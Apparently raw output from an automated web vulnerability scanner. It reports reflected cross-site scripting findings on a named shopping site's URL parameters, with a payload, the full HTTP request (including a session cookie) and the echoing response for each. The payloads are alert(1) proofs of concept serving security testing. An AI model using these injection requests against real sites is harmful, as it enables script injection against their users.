GET /Shopping48186"><a>512069709a5/Clothing-Accessories/194367784/Bags/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:41:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59506
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping48186"><a>512069709a5"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1610'-alert(1)-'45c620a5884 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriese1610'-alert(1)-'45c620a5884/194367784/Bags/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:57:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessoriese1610'-alert(1)-'45c620a5884/194367784/Bags/40'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 87b97<script>alert(1)</script>1c06cca41de was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories87b97<script>alert(1)</script>1c06cca41de/194367784/Bags/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:58:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61796
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories87b97<script>alert(1)</script>1c06cca41de <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8437'-alert(1)-'62563474686 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784c8437'-alert(1)-'62563474686/Bags/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:02:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61894
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784c8437'-alert(1)-'62563474686/Bags/40'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e198'-alert(1)-'7ee46bc00d5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Bags4e198'-alert(1)-'7ee46bc00d5/40 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:09:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61692
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784/Bags4e198'-alert(1)-'7ee46bc00d5/40'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82004'-alert(1)-'e4743644b8c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Bags/4082004'-alert(1)-'e4743644b8c HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:13:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55285
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Bags/4082004'-alert(1)-'e4743644b8c'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4c74"><a>4cce4fff839 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingd4c74"><a>4cce4fff839/Clothing-Accessories/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:08:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59962
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingd4c74"><a>4cce4fff839"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bead2'-alert(1)-'dab9ae7e52d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingbead2'-alert(1)-'dab9ae7e52d/Clothing-Accessories/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:19:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59794
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shoppingbead2'-alert(1)-'dab9ae7e52d/Clothing-Accessories/194367784/Clothing/8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload fe482<script>alert(1)</script>05c915e75c3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessoriesfe482<script>alert(1)</script>05c915e75c3/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:32:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62247
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessoriesfe482<script>alert(1)</script>05c915e75c3 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b3d8'-alert(1)-'93e2feb3b08 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories5b3d8'-alert(1)-'93e2feb3b08/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:30:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61930
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories5b3d8'-alert(1)-'93e2feb3b08/194367784/Clothing/8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 773aa'-alert(1)-'3b3431ae4a2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784773aa'-alert(1)-'3b3431ae4a2/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:41:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61399
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784773aa'-alert(1)-'3b3431ae4a2/Clothing/8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e762b'-alert(1)-'b7da0b992a8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Clothinge762b'-alert(1)-'b7da0b992a8/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:49:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Clothinge762b'-alert(1)-'b7da0b992a8/8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9fb8e'-alert(1)-'9408840ac16 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Clothing/89fb8e'-alert(1)-'9408840ac16 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:56:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Clothing/89fb8e'-alert(1)-'9408840ac16'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60c57"><a>4f75c0944c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping60c57"><a>4f75c0944c4/Clothing-Accessories/194367784/Cosmetics/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:58:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping60c57"><a>4f75c0944c4"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c3a5'-alert(1)-'62451a45166 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping2c3a5'-alert(1)-'62451a45166/Clothing-Accessories/194367784/Cosmetics/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:07:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60207
